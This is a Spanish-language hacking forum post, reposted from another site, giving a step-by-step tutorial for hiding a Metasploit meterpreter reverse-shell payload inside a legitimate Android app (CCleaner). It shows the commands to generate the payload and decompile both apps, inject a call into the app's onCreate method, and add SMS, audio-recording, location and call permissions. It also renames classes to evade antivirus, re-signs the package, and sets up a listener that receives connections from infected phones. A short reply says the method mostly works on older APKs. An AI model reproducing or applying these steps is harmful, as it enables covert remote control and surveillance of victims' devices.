Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Esconder un payload en cualquier APK

  • 1 Respuestas
  • 2488 Vistas

0 Usuarios y 5 Visitantes están viendo este tema.

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5473
  • Actividad:
    21.67%
  • Reputación 35
  • ANTRAX
    • Ver Perfil
    • Underc0de
    • Email
  • Skype: underc0de.org
  • Twitter: @Underc0de
« en: Octubre 05, 2018, 03:25:03 pm »
un APK es un paquete de aplicación de Android (Android Aplication Package) y que es como un .exe de Windows que contiene la aplicación y el instalador en el mismo paquete.


Lo que vamos a ver hacer es desempaquetar un .apk, y luego modificarlo añadiendo un payload generado por metasploit. Una vez construyamos ese paquete lo instalamos en un dispositivo Android haciendo que se ejecute la app legítima y a la vez nuestro payload dejando infectado el dispositivo Android.

Para empezar generamos el payload para Android con msf:

Código: Text
  1. msfvenom -p android/meterpreter/Payload_Type LHOST=(TU IP) LPORT=(PUERTO) -o meterpreter.apk


Luego nos descargamos una apk legítima como por ejemplo 'ccleaner' y decompilamos las dos con apktool:

Código: Text
  1. apktool d -f -o payload meterpreter.apk
  2. apktool d -f -o original ccleaner.apk


Copiamos la carpeta metasploit desde /payload/smali/com/metasploit a /original/smali/com/piriform


Nos vamos la carpeta ./original/ y editamos AndroidManifest.xml (con vim o el editor que queráis)


Buscamos las líneas siguientes que nos servirán como guía para encontrar la ruta a la aplicación principal que es la que nosotros queremos modificar:

Código: Text
  1. <action android:name="android.intent.action.MAIN"/>
  2. <category android:name="android.intent.category.LAUNCHER"/>

Encima de éstas, encapsulándolas habrá una etiqueta <activity
Nos fijamos en la propiedad Android:name= de esta etiqueta que tendrá una estructura similar a "com.piriform.ccleaner.ui.activity.MainActivity"


Por tanto, ya sabemos el fichero que tenemos que editar de nuestra app legitima (dentro de ./original/smali/), nos vamos a este fichero que será algoparecido a "com/piriform/ccleaner/ui/activity/MainActivity.smali" , es decir, por cada "." Será una "/".

Editamos este fichero .smali y buscamos la línea:

Código: Text
  1. ;->onCreate(Landroid/os/Bundle; )V

En la siguiente línea a esta ponemos:

Código: Text
  1. invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context; )V

Donde le indicamos que invoque nuestra app que en este caso es el Payload de msf y después continúe con la ejecución normal de la app legitima


Ahora vamos a añadir más permisos a esta app de los que tiene, nos vamos dentro del directorio de la aplicación ./original/ y modificamos el AndoridManifest.xml


Añadiremos los permisos que consideremos, en mi caso puse estos:

Código: Text
  1. <uses-permission android:name="android.permission.ACCESS_COURSE_LOCATION"/>
  2. <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
  3. <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
  4. <uses-permission android:name="android.permission.SEND_SMS"/>
  5. <uses-permission android:name="android.permission.RECEIVE_SMS"/>
  6. <uses-permission android:name="android.permission.RECORD_AUDIO"/>
  7. <uses-permission android:name="android.permission.CALL_PHONE"/>

Si lo que queremos es ponérselo mas difícil a un antivirus que tuviera el móvil/Tablet podemos hacer lo siguiente dentro del directorio (Esto es opcional) ./original/smali/com/metasploit

Código: Text
  1. sed -i 's/metasploit/conf-schema/g' `rgrep -r metasploit ./* | awk '{print $1}' | cut -d':' -f1`
  2. sed -i 's/Payload/init-conf' `rgrep -r Payload ./* | awk '{print $1}' | cut -d':' -f1`
  3. sed -i 's/payload/init-conf' `rgrep -r payload ./* | awk '{print $1}' | cut -d':' -f1`

Después de eso debemos de cambiar el fichero Payload.smali por init-config.smal


también cambiamos el nombre de /original/smali/com/piriform/metasploit a /original/smali/com/piriform/conf-schema, además de todo eso deberemos de cambiar la línea

Código: Text
  1. invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

que hemos puesto antes con el nombre correspondiente:

Código: Text
  1. invoke-static {p0}, Lcom/conf-scheme/stage/init-conf;->start(Landroid/content/Context;)V

yo he puesto estos nombres pero podéis poner lo que queráis, ahora vamos a recompilar otra vez la app, hacemos:

apktool b original/

A continuación comenzará a construir nuestra app.


Dentro del directorio ./original/dist estará nuestra apk construida/compilada.

Ahora toca firmar la apk para que esta sea "legitima" por tanto creamos en nuestro home el directorio .android

mkdir ~/.android

Generamos la key para firmar con:

keytool -genkey -v -keystore ~/.android/debug.keystore -storepass android -alias androiddebugkey -keypass android -dname "CN=Android Debug,O=Android,C=US"

Para firmar con esa firma hacemos:

jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg SHA1withDSA /home/xarly/original/dist/ccleaner-v1-17-66.apk androiddebugkey

Ahora nos queda dejar a la escucha el metasploit con:

Código: Text
  1. msfconsole
  2. use exploit/multi/handler
  3. set Payload android/meterpreter/reverse_https
  4. set LHOST 192.168.1.135
  5. set LPORT 8181
  6. set ExitOnSession False
  7. exploit -j -z
  8.  

Ejecutamos la app en el móvil:






Deberíamos ver como se conecta nuestro meterpreter.

Nota: puede que nos pida que habilitemos las opciones de orígenes desconocidos.



Autor: niqqo_18
Fuente: taringa.net/posts/ebooks-tutoriales/19715978/HACKEAR-ANDROID-Esconder-un-payload-en-cualquier-APK.html


Desconectado user_en1gm4

  • *
  • Underc0der
  • Mensajes: 53
  • Actividad:
    0%
  • Reputación 2
  • 01 01
    • Ver Perfil
    • Email
« Respuesta #1 en: Octubre 05, 2018, 05:17:35 pm »
sirve para apks viejas, ahora ya no se pueden descompilar tan facil por la cuestion de la firma que google obliga a poner para subirla, por ejemplo apps hechas con android studio ultima version ya no se descompilan

 

¿Te gustó el post? COMPARTILO!



Bloquea la conexión a internet de cualquier ordenador de la red con tu Android

Iniciado por 54NDR4

Respuestas: 4
Vistas: 4046
Último mensaje Abril 14, 2013, 12:58:40 pm
por ANTRAX
Rootea casi cualquier Android sin necesidad del PC con towelroot

Iniciado por ANTRAX

Respuestas: 11
Vistas: 6846
Último mensaje Marzo 02, 2017, 07:49:38 pm
por Stiuvert
Instalar Android x.x en cualquier sistema de virtualización multiplataforma.

Iniciado por arm972

Respuestas: 0
Vistas: 1857
Último mensaje Mayo 18, 2014, 04:11:49 pm
por arm972
Descarga cualquier APK del Play Google sin tener telefono

Iniciado por ANTRAX

Respuestas: 7
Vistas: 4170
Último mensaje Octubre 03, 2014, 04:27:10 am
por Gabriela